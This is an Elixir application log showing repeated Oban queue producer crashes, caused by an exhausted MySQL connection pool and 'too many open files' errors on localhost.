State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:06:54.249093Z], limit: 5, uuid: "34fa8dd1-393a-4e36-8cb7-8187fb3fc956", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:54.249100Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.3439>, refresh_timer: #Reference<0.2525715032.1077411843.236733>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1054ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:06:54.242887Z], limit: 5, uuid: "538e8071-bf56-4760-b609-0308bdad79b1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:54.242893Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.236734>, refresh_timer: #Reference<0.2525715032.1121189889.107526>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:06.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:06:54.242933Z], limit: 20, uuid: "a9450d21-df04-4aa7-9aea-0e9ea391c06b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:54.242939Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.107536>, refresh_timer: #Reference<0.2525715032.1121189889.107529>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:06.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:06:54.247055Z], limit: 3, uuid: "dcc45bf0-d31a-4f3a-bc29-0dcf1981c59a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:06:54.247061Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.3440>, refresh_timer: #Reference<0.2525715032.1077411843.236725>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:09.196000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:12.800000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:13.586000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:16.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:07:18.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:07:06.239770Z], limit: 10, uuid: "b3e75f4f-9ff5-4c21-8a1c-8da7abe77970", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:06.239776Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253164>, refresh_timer: #Reference<0.2525715032.1077411843.236848>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:07:06.240943Z], limit: 5, uuid: "d61bb52e-12c7-459d-89d6-c09d155ac134", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:06.240948Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.3787>, refresh_timer: #Reference<0.2525715032.1099431938.3773>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:18.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:07:06.242052Z], limit: 20, uuid: "7a2b7e11-0ceb-44cd-a712-c6485c1ad6a6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:06.242058Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253161>, refresh_timer: #Reference<0.2525715032.1068236804.253154>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:18.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:07:06.240473Z], limit: 50, uuid: "581283b5-3f91-4a1b-a099-ceaf7bd04f9d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:06.240478Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253165>, refresh_timer: #Reference<0.2525715032.1077411843.236868>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:18.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:07:06.240880Z], limit: 5, uuid: "74694138-3e42-4ccb-b457-9cd516358b90", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:07:06.240886Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.253163>, refresh_timer: #Reference<0.2525715032.1099431938.3771>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:07:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1060ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
